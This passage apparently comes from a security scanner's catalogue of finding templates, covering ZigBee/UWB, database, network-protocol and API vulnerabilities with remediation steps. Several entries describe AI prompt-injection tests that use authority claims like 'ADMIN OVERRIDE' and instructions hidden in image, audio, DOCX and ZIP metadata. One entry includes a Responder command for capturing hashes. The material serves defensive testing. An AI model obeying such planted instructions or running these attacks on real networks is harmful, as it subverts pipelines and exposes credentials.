Remediation: Implement RF environment monitoring with anomaly alerting. Deploy ZigBee network with channel agility enabled. Configure coordinator with rate-limiting on association requests. Consider Distributed Trust Center mode to reduce coordinator as a single point of failure.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-25, SC-5, IR-4
PCI DSS 4: 12.10.1
HIGH PHX-241 — ZigBee Open Join Window and ZDO Enumeration
Remediation: Close join window after commissioning and only open briefly (max 60 seconds) when adding new devices. Implement automated join window closure. Restrict ZDO enumeration to authenticated sessions. Audit all joined devices to verify they are authorised.
Effort: Low
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1046 (Discovery)
NIST 800-53: AC-3, SC-25, CM-6, IA-3
PCI DSS 4: 6.2.4, 8.6.1
HIGH PHX-243 — ZigBee Protocol Fuzzing Crash and ZLL Master Key Deployment
Remediation: Apply vendor firmware patches with input validation for all received ZigBee frame fields. Implement watchdog timers with automatic recovery. Migrate from ZLL to ZigBee 3.0. Disable touchlink commissioning at coordinator level where ZLL master key exposure is confirmed.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1499 (Impact), T1040 (Credential Access)
NIST 800-53: SC-25, SI-2, CM-6, IR-4
PCI DSS 4: 6.3.3, 12.10.1
HIGH PHX-247 — RTLS Position Data Injection via MQTT
Remediation: Require MQTT broker authentication and deploy publisher-side ACLs restricting position-topic publishing to anchor gateways only. Implement message signature validation (HMAC with anchor-specific keys) on the RTLS engine to reject unsigned or invalid position payloads.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T0831 (Impair Process Control), T1565.001 (Impact)
NIST 800-53: AC-3, SI-10, SC-8, CM-6
PCI DSS 4: 6.2.4, 8.6.1
HIGH PHX-250 — UWB Scrambled Timestamp Sequence (STS) Key Weakness
Remediation: Ensure STS keys are derived from a cryptographically random 128-bit seed generated inside a hardware secure element and never exposed via any management API. Rotate STS session keys per-ranging-session using HKDF-SHA256 with a fresh nonce. Apply chip vendor firmware updates implementing IEEE 802.15.4z STS key management in the secure enclave.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access), T1565 (Impact)
NIST 800-53: SC-8, SC-25, IA-3, CM-6
PCI DSS 4: 4.2.1, 6.3.3
HIGH PHX-251 — UWB Ranging Exchange — Cleartext Transmission
Remediation: Configure all UWB devices to operate in IEEE 802.15.4z SP3 mode with STS enabled. Where SP3 is unavailable on legacy hardware, enable application-layer payload encryption and minimise identifying information in ranging frame payloads. Segment UWB traffic to minimum required RF coverage area.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-25, SC-40
PCI DSS 4: 4.2.1
HIGH PHX-253 — RTLS Zone Boundary Bypass — Physical Access Control Defeat
Remediation: Implement multi-anchor consistency checks flagging ranging results that do not geometrically converge within an expected error bound. Augment UWB zone enforcement with complementary controls (badge readers, PIN pads, video verification). Enable STS mode on all anchors to mitigate the Ghost Peak attack vector.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N
MITRE ATT&CK: T1565 (Impact)
NIST 800-53: PE-3, AC-3, SC-25
PCI DSS 4: 9.2.1
HIGH PHX-254 — UWB Anchor RF Flooding — Denial of Service
Remediation: Deploy UWB hardware supporting channel agility to automatically switch to alternative UWB channels when interference is detected. Implement RTLS application-level monitoring alerting when anchor-to-tag ranging failure rates exceed a threshold. Define operational procedures for switching to backup positioning methods.
Effort: High
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-25, SC-5, IR-4, PE-3
PCI DSS 4: 12.10.1
HIGH PHX-256 — Insecure Direct Object Reference in RTLS API
Remediation: Implement server-side authorisation checks on every API endpoint validating that the authenticated user has the required role or ownership to access the requested object. Use cryptographically random UUIDs instead of sequential integers for resource identifiers. Conduct a full audit of RTLS API routes against the intended access control matrix.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: AC-3, AC-6, RA-5
PCI DSS 4: 6.2.4, 8.6.1
HIGH PHX-261 — Elasticsearch Unauthenticated Access
Remediation: Enable Elasticsearch X-Pack security (enabled by default in 8.x). Configure TLS and require authentication. Use role-based access control to restrict index access. Place behind a reverse proxy with authentication if X-Pack is unavailable.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6, SC-8
PCI DSS 4: 6.2.4, 2.2.1
HIGH PHX-263 — InfluxDB Unauthenticated Access
Remediation: Enable InfluxDB authentication (`auth-enabled = true` in influxdb.conf). Create admin user and database users with minimal privilege. In InfluxDB 2.x, use token-based authentication. Bind to localhost only unless remote access is required.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-264 — Neo4j Unauthenticated Access
Remediation: Enable Neo4j native authentication (`dbms.security.auth_enabled=true`). Change default neo4j/neo4j credentials on first login. Restrict Bolt (7687) and HTTP (7474) ports using firewall rules. Use role-based access control to limit read/write permissions per user.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4
HIGH PHX-266 — Memcached Unauthenticated Access — Data Dump
Remediation: Bind Memcached to localhost only (`-l 127.0.0.1`). Enable SASL authentication for any deployment requiring network access. Block port 11211 at the firewall. Do not store sensitive data in Memcached without application-level encryption.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: AC-3, CM-6
PCI DSS 4: 6.2.4, 2.2.1
HIGH PHX-267 — Database User Excessive Privileges
Remediation: Apply least-privilege principle: application users should only have SELECT/INSERT/UPDATE/DELETE on required tables. Remove SUPERUSER, GRANT OPTION, FILE, PROCESS, REPLICATION privileges. Create dedicated DB users per application component. Audit and remove unused accounts.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 – Broken Access Control
OWASP API: API1:2023 – Broken Object Level Authorization
MITRE ATT&CK: T1078.003 (Privilege Escalation)
NIST 800-53: AC-6, CM-6, AC-2
PCI DSS 4: 7.2.4, 8.2.2
HIGH PHX-270 — Outdated Database Version with Known CVEs
Remediation: Upgrade to the latest stable version of the database software. Subscribe to vendor security advisories. Implement a patching schedule for database systems. Use a vulnerability scanner (Nuclei/Tenable) to continuously track exposed DB versions against CVE databases.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A06:2021 – Vulnerable and Outdated Components
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: RA-5, SI-2, SA-11
PCI DSS 4: 6.3.3
HIGH PHX-271 — Database Backup Files Accessible
Remediation: Remove backup files from web-accessible directories. Store backups in isolated storage with restricted access. Encrypt backup files at rest. Use access controls to limit who can read backup storage. Scan web roots regularly for backup file extensions (.sql, .bak, .dump, .tar.gz).
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1530 (Collection)
NIST 800-53: AC-3, CM-6, MP-5
PCI DSS 4: 3.5.1, 6.2.4
HIGH PHX-272 — Sensitive PII Data in Database Schema
Remediation: Encrypt PII columns at rest using AES-256 (column-level encryption or transparent data encryption). Pseudonymize data where possible. Apply field-level access controls. Conduct a data classification and retention audit. Comply with GDPR/CCPA data minimization requirements.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
OWASP API: API3:2023 – Broken Object Property Level Authorization
MITRE ATT&CK: T1005 (Collection)
NIST 800-53: SC-28, MP-3, AC-6
PCI DSS 4: 3.5.1, 4.2.1
HIGH PHX-278 — Database Accessible from Internet
Remediation: Place databases behind a firewall with deny-all inbound from Internet. Allow only application server IPs to connect on DB port. Use a VPN or bastion host for administrative access. Consider database proxies (ProxySQL, PgBouncer) to add an additional network layer.
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SC-7, CM-6
PCI DSS 4: 1.3.2, 6.2.4
HIGH PHX-279 — SQL Injection via Stored Procedure or Trigger
Remediation: Refactor stored procedures to use parameterized inputs instead of dynamic SQL construction. Review all stored procedures for `EXEC()`, `sp_executesql()` with string concatenation. Apply code review to all database objects. Use database static analysis tools (sqlcheck, SonarQube with DB rules).
Effort: High
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2021 – Injection
OWASP API: API3:2023 – Injection
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH PHX-281 — Database User Password Hash Exposed
Remediation: Rotate all database user passwords immediately. Upgrade MySQL to use caching_sha2_password instead of mysql_native_password (MD5-based). For PostgreSQL, use scram-sha-256 in pg_hba.conf. Apply principle of least privilege to prevent non-admin users from reading the user/password tables.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
OWASP API: API2:2023 – Broken Authentication
MITRE ATT&CK: T1003.008 (Credential Access)
NIST 800-53: IA-5, SC-28
PCI DSS 4: 8.3.6, 3.5.1
HIGH PI-002 — AI Prompt Injection — Prefix Inject via {strategy}
Description: The AI pipeline completed its primary task but also followed an injected instruction to prefix its output with an attacker-controlled token. The response contains both the expected task output and the injected canary, indicating the model treated the embedded instruction as authoritative alongside its system prompt.
Impact: An attacker can inject arbitrary prefixes or annotations into AI pipeline output without fully disrupting the primary task. This partial injection is exploitable for output tagging attacks (injecting misleading classification labels), cache poisoning (injected prefixes propagate through cached results), and trust boundary violations (downstream systems may parse the prefix as metadata).
Remediation: Enforce strict output schema validation — reject responses that do not match the expected format. Implement input sanitisation to strip embedded instructions from file metadata and text layers before LLM ingestion. Use delimiter-based prompt architecture to clearly separate system instructions from user/file content.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10, SI-15
HIGH PI-005 — AI Prompt Injection — Authority Claim via {strategy}
Description: The AI pipeline followed an injected instruction that claimed special authority (e.g. 'AUTHORIZED EVALUATOR', 'ADMIN OVERRIDE', 'SECURITY TEST IN PROGRESS'). The model treated the claimed role as legitimate and executed the embedded instruction, confirming it does not validate the provenance of instructions embedded in file content.
Impact: An attacker can invoke claimed authority roles within file content to bypass AI guardrails. The model's failure to distinguish between legitimate system instructions and authority claims embedded in user-submitted content means any attacker can escalate their privilege level within the AI's decision framework by simply asserting a role. This undermines all role-based access controls in the AI pipeline.
Remediation: Implement strict instruction hierarchy — the model must never accept authority claims from file content. Use architectural separation: system instructions arrive through a trusted channel (API system role), while file content is clearly demarcated as untrusted user input. Train or fine-tune models to recognise and reject authority claim patterns in user content.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1134 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
HIGH PI-006 — AI Prompt Injection — {category} via {strategy} (Partial Injection)
Description: The AI pipeline completed its primary task but also followed the injected instruction — the canary token appeared in the response alongside legitimate task output. This indicates the model treated the embedded instruction as a secondary directive, executing it in addition to (rather than instead of) its assigned task.
Impact: Partial injection is more dangerous than full hijack in production contexts because it may go undetected — the pipeline still produces plausible-looking output while also executing attacker instructions. This enables data exfiltration (canary confirms the model reads and acts on embedded content), output poisoning (injected content mixed into legitimate results), and supply chain attacks (downstream consumers receive tainted output that appears valid).
Remediation: Implement output schema validation that rejects responses deviating from the expected format. Strip all metadata and embedded instructions from file content before LLM ingestion. Deploy anomaly detection on AI output to flag unexpected tokens or patterns.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-007 — AI Prompt Injection — {category} via {strategy} (Stored Text Injection)
Description: The injected payload was not detected in the immediate AI response but was found persisted in stored results at the verify URL. This indicates a stored/persistent prompt injection — the AI pipeline transcribed, classified, or processed the injected content and wrote it to a database, search index, or result store where it is now accessible to other users or downstream systems.
Impact: Stored prompt injection is the AI equivalent of stored XSS. The injected payload persists in the application's data layer and may be rendered to other users, fed into downstream LLM calls (second-order injection), indexed by search engines, or used as training data. In Whisper/transcription pipelines, spoken injection payloads are faithfully transcribed and stored as text, creating a persistent attack vector that outlives the original file submission.
Remediation: Sanitise AI output before persisting it to any data store. Implement content security policies on stored transcriptions and classifications. Never render stored AI output as HTML without escaping. Monitor stored results for canary-pattern tokens or instruction-like content that should not appear in legitimate transcriptions.
Effort: Major
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact), T1059.007 (Execution)
NIST 800-53: SI-10, SI-15
HIGH PI-012 — AI Prompt Injection — {category} via png_text_chunk_metadata
Description: The AI pipeline followed an injected instruction embedded in a PNG image's tEXt/iTXt metadata chunks (Comment, Description, Author, Source fields). Image metadata is commonly extracted by vision pipelines and may be included in the LLM's context alongside OCR or vision analysis results.
Impact: Image metadata injection targets vision-AI and document-processing pipelines. Since metadata is not visible in the rendered image, the attack is invisible to human reviewers. Pipelines that extract and include image metadata in LLM prompts are vulnerable to having their analysis influenced or overridden by injected instructions.
Remediation: Strip all image metadata (EXIF, tEXt, iTXt, XMP) before passing images to AI vision models. Process only the pixel data for vision analysis. If metadata is needed for non-AI purposes, process it in a separate context that does not feed into the LLM.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-013 — AI Prompt Injection — {category} via {format}_text_overlay_ocr
Description: The AI pipeline followed an injected instruction rendered as visible text in an image. The text was extracted via OCR (optical character recognition) or multimodal vision analysis and passed to the LLM, which treated it as an instruction rather than image content to be described or classified.
Impact: OCR/vision-based injection targets any pipeline that extracts text from images — document digitisation, receipt processing, medical imaging, ID verification, etc. Unlike metadata injection, the payload is technically visible, but in a real attack it would be placed in inconspicuous locations (small text, low contrast, marginal annotations) that human reviewers overlook.
Remediation: Implement content-type awareness in the LLM prompt — explicitly instruct the model that OCR-extracted text is untrusted content to be described, never instructions to be followed. Use a two-stage pipeline where OCR extraction and LLM analysis run in isolated contexts.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-015 — AI Prompt Injection — {category} via {format}_id3_tags
Description: The AI pipeline followed an injected instruction embedded in audio file metadata (ID3 tags: Title, Artist, Album, Comment, Lyrics). Audio metadata is commonly extracted by media processing pipelines and may be included in the LLM's context alongside transcription results.
Impact: Audio metadata injection targets music cataloguing, podcast processing, and media management AI pipelines. ID3 tags are standard metadata fields that many processing pipelines extract automatically. The injected payload is invisible during audio playback but present in the file's binary structure, enabling silent injection into any pipeline that reads tag data.
Remediation: Strip all audio metadata (ID3, Vorbis comments, MP4 tags) before including audio file context in LLM prompts. Process only the audio waveform data for transcription and discard metadata entirely.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-017 — AI Prompt Injection — {category} via docx_comment_text_extraction
Description: The AI pipeline followed an injected instruction placed in a DOCX document's comment annotations. Document comments are a secondary content channel that some parsers (python-docx, docx2txt) extract alongside body text. The pipeline included comment text in the LLM context, and the model treated the injected instruction as authoritative.
Impact: Comment-based injection targets document review and collaboration pipelines. Comments are a semi-hidden content channel — they appear in sidebars during editing but are often stripped or ignored in final renderings, making them a covert injection vector. Pipelines that extract and process all document content (including comments, headers, footers, and annotations) are vulnerable.
Remediation: Strip document comments, headers, footers, and annotations before feeding document content to the LLM. Only extract and process the visible body text for AI analysis.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1027 (Defense Evasion), T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PI-018 — AI Prompt Injection — {category} via zip_member_text_injection
Description: The AI pipeline followed an injected instruction placed in text files within a ZIP archive (document.txt, data.csv, notes.md). Pipelines that automatically extract and process archive contents are vulnerable when extracted text is passed to the LLM without sanitisation.
Impact: ZIP/archive injection targets document processing and data ingestion pipelines that automatically extract and process compressed archives. The injected payload is spread across multiple archive members (TXT, CSV, Markdown), maximising the chance of reaching the LLM through whichever extraction path the pipeline uses. This vector also enables payload delivery through legitimate-looking data files.
Remediation: Implement content scanning on all extracted archive members before LLM ingestion. Apply the same instruction-detection filtering to extracted text files as to directly uploaded documents. Limit the types of files that can be extracted and processed from archives.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T1565.001 (Impact)
NIST 800-53: SI-10
HIGH PT-101 — SMBv1 Traffic Observed (EternalBlue / NotPetya exposure)
Description: SMBv1 protocol traffic observed between the device and one or more internal peers. SMBv1 is deprecated since 2014 and is the transport for EternalBlue (MS17-010) / WannaCry / NotPetya.
Impact: Active SMBv1 on a clinical network creates a worm propagation path. Disable per FDA Postmarket Cybersecurity Guidance and Joint Commission EHR-protection expectations.
Remediation: Disable SMBv1 on every host. Confirm SMB2+ minimum on file servers. Block 445/tcp at segmentation boundary.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: CM-7, SI-2
CISA KEV
HIGH PT-102 — LLMNR / NBT-NS Name Resolution in Use (Responder Surface)
Description: LLMNR or NetBIOS Name Service broadcast-based name resolution is in use on the segment. These protocols are abused by Responder / Inveigh to poison name resolution and capture NTLMv2 hashes.
Impact: An attacker on the same broadcast domain runs `responder -I eth0` and captures hashes from any device that mistypes a hostname or uses a non-FQDN lookup. Hashes are crackable offline or relayed via ntlmrelayx for immediate authentication elsewhere (CVE-2019-1040 mitigations notwithstanding).
Remediation: Disable LLMNR (GPO: Turn Off Multicast Name Resolution = Enabled) and NBT-NS (Network adapter → WINS → Disable NetBIOS over TCP/IP). Block UDP/5355 and UDP/137 at every L3 boundary.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-7, CM-7, IA-3
HIGH PT-107 — Cleartext FTP Traffic Observed (credentials in plaintext)
Description: FTP control-channel traffic observed in cleartext. FTP USER/PASS commands and file contents are passively captureable by any on-path observer.
Impact: Any L2 / SPAN / WiFi-sniffing attacker can capture FTP credentials and uploaded/downloaded file content. In a clinical setting this may include device firmware, calibration data, or PHI.
Remediation: Disable FTP. Use SFTP (SSH) or FTPS (FTP over TLS, explicit AUTH TLS). Block 21/tcp at segmentation boundary.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, SC-13
HIGH PT-108 — Cleartext Telnet Traffic Observed
Description: Telnet traffic observed in cleartext. Telnet credentials and keystrokes are sent in plaintext and trivially captured by passive observers.
Impact: Full session capture — usernames, passwords and every keystroke are recoverable from a passive sniff. Common on legacy embedded and industrial-control devices.
Remediation: Replace Telnet with SSH. Block 23/tcp at every L3 boundary.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, CM-7
HIGH PT-110 — HTTP Basic Authentication Observed in Cleartext
Description: HTTP Basic Auth headers observed in cleartext. Authorization: Basic <base64> is one base64-decode step away from username:password.
Impact: Basic Auth credentials are base64-encoded usernames+passwords. Any passive observer can decode them in one step (`base64 -d`). Often reused across many systems.
Remediation: Wrap the affected service in TLS (HTTPS) or replace Basic Auth with token/cookie-based scheme over TLS. Block plain HTTP on authenticated admin endpoints.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-8, IA-5
HIGH SI-051 — Security Misconfiguration / CORS Wildcard with Credentials
Description: The API responds with Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true simultaneously. While modern browsers reject this combination per the CORS specification, the configuration reveals a misunderstanding of CORS security semantics. Additionally, some non-browser clients and legacy implementations may not enforce this restriction. The intended behavior (wildcard origin with credentials) would allow any origin to make authenticated cross-origin requests, effectively neutralizing same-origin protection for authenticated API calls.
Remediation: Never set Access-Control-Allow-Origin to '*' in combination with Access-Control-Allow-Credentials: true. For endpoints requiring credentialed cross-origin access, maintain an explicit allowlist of trusted origins and dynamically reflect the request origin only when it matches the allowlist. Remove the wildcard and configure a specific origin allowlist.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-052 — Information Disclosure: Credentials in URL Query Parameters
Description: The API transmits sensitive credentials (API keys, tokens, passwords, or session identifiers) in URL query parameters rather than in request headers or the request body. URL query parameters are stored in browser history, web server access logs, proxy logs, and Referer headers sent to third parties. Credentials embedded in URLs are frequently exposed through log aggregation systems, CDN log exports, and browser history synchronization, creating multiple persistent exposure vectors.
Remediation: Transmit all credentials and sensitive tokens in HTTP request headers (Authorization, X-API-Key) or in the request body (for POST/PUT requests). Never include credentials in URL query parameters. Review all API endpoints for credential leakage via URL parameters. Rotate any credentials that have been transmitted in URLs as they should be considered compromised.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-053 — Debug / Developer Console Exposed
Description: Siphon detected an accessible debug or developer console endpoint (e.g., /debug, /console, /__debug__, /flask-debugger, Spring Boot Actuator /actuator/env, Django admin, Werkzeug interactive debugger). Debug consoles typically provide arbitrary code execution capabilities, full environment variable disclosure (including secrets), SQL query execution, and live configuration inspection. An unauthenticated debug console is a critical severity finding and provides immediate full system compromise.
Remediation: Immediately disable all debug endpoints in production deployments. Use environment-specific configuration to ensure debug modes are only enabled in development environments. Remove all debug middleware and interactive debuggers from production builds. Implement access controls on any remaining diagnostic endpoints (e.g., Spring Boot Actuator) to restrict them to authenticated administrators on internal networks only.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-059 — Missing Security Header: Strict-Transport-Security
Description: The API does not include a Strict-Transport-Security (HSTS) header in its responses. Without HSTS, browsers do not enforce HTTPS connections to the API and will follow HTTP redirects or accept HTTP responses. This enables SSL stripping attacks where a network-positioned attacker downgrades the connection from HTTPS to HTTP, intercepting all API traffic including authentication tokens, session cookies, and sensitive data in transit. APIs accessible over both HTTP and HTTPS without HSTS are especially vulnerable.
Remediation: Add 'Strict-Transport-Security: max-age=31536000; includeSubDomains' to all HTTPS responses. Ensure the API is only served over HTTPS and redirect all HTTP requests to HTTPS before setting the HSTS header. Consider submitting the domain to the HSTS preload list at https://hstspreload.org. Never set HSTS on HTTP responses as this provides no protection and can cause access issues.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-060 — BOLA — Object Enumeration Possible
Description: The API uses predictable, sequential, or guessable object identifiers (e.g., integer IDs: /api/orders/1001, /api/orders/1002) in resource URLs. While a full BOLA exploit requires the server to return another user's resource without authorization checks, predictable IDs enable automated enumeration of valid resource identifiers. An attacker can iterate through ID ranges to discover valid object IDs before exploiting missing authorization checks. This finding is a prerequisite for BOLA (SI-076) exploitation.
Remediation: Replace sequential integer IDs with cryptographically random UUIDs (UUIDv4) or other non-enumerable identifiers. Implement object-level authorization checks on every endpoint regardless of ID type — do not rely on unguessable IDs as a substitute for authorization. Combine opaque IDs with server-side ownership validation.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API1:2023 Broken Object Level Authorization
HIGH SI-061 — BFLA — Broken Function Level Authorization
Description: Siphon confirmed that an API endpoint intended for a higher-privileged role (e.g., manager, moderator) is accessible by a lower-privileged authenticated user (horizontal privilege escalation). The server does not enforce function-level authorization checks at the endpoint, relying instead on the client to present appropriate UI. An attacker can directly call the restricted endpoint using their own valid credentials to perform actions beyond their assigned role.
Remediation: Implement server-side function-level authorization checks on every endpoint based on the authenticated user's role and permissions. Apply the principle of least privilege: default to denying access and explicitly grant access to each role per endpoint. Use a centralized authorization framework rather than per-endpoint conditional logic. Regularly test authorization controls with each defined role.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API5:2023 Broken Function Level Authorization
HIGH SI-062 — Excessive Data Exposure — Sensitive Fields in API Response
Description: The API response includes sensitive fields that should not be returned to the requesting client, such as password hashes, password reset tokens, SSNs, credit card numbers, internal system identifiers, private keys, secret tokens, or overly detailed PII. The API returns a serialized object without filtering sensitive fields, relying on the client to ignore them. An attacker who can read API responses (or who intercepts them) gains access to this sensitive data directly.
Impact: An attacker (or any client) receives sensitive fields the API was never intended to expose, because filtering is left to the client. This leaks PII, credentials, tokens or internal attributes directly in API responses and is frequently the root cause of large-scale data breaches via mobile/SPA backends.
Remediation: Implement explicit response serialization that only returns fields the requesting client is authorized to receive. Use response DTOs, @JsonIgnore annotations, or serialization group mechanisms to exclude sensitive fields. Never return password hashes, plaintext passwords, tokens, or private key material in any API response. Conduct a data classification review of all API response schemas.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
OWASP API: API3:2023 Broken Object Property Level Authorization
HIGH SI-063 — Cross-User Data Leakage
Description: Siphon confirmed that an authenticated API endpoint returns data belonging to another user when a different user's resource ID is specified. The server does not validate that the authenticated user is the owner of or has permission to access the requested resource. This is a confirmed Broken Object Level Authorization (BOLA/IDOR) vulnerability allowing horizontal privilege escalation and direct cross-user data access.
Remediation: Implement ownership validation on every endpoint that accesses user-specific resources. Verify that the authenticated user ID matches the owner of the requested resource. Do not rely on the client to supply the correct user ID — derive the target user from the authenticated session, not from URL parameters or request body. Implement comprehensive integration tests for authorization across all user-scoped endpoints.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A01:2021 Broken Access Control
OWASP API: API1:2023 Broken Object Level Authorization
HIGH SI-064 — Sensitive Data Exposed in API Response
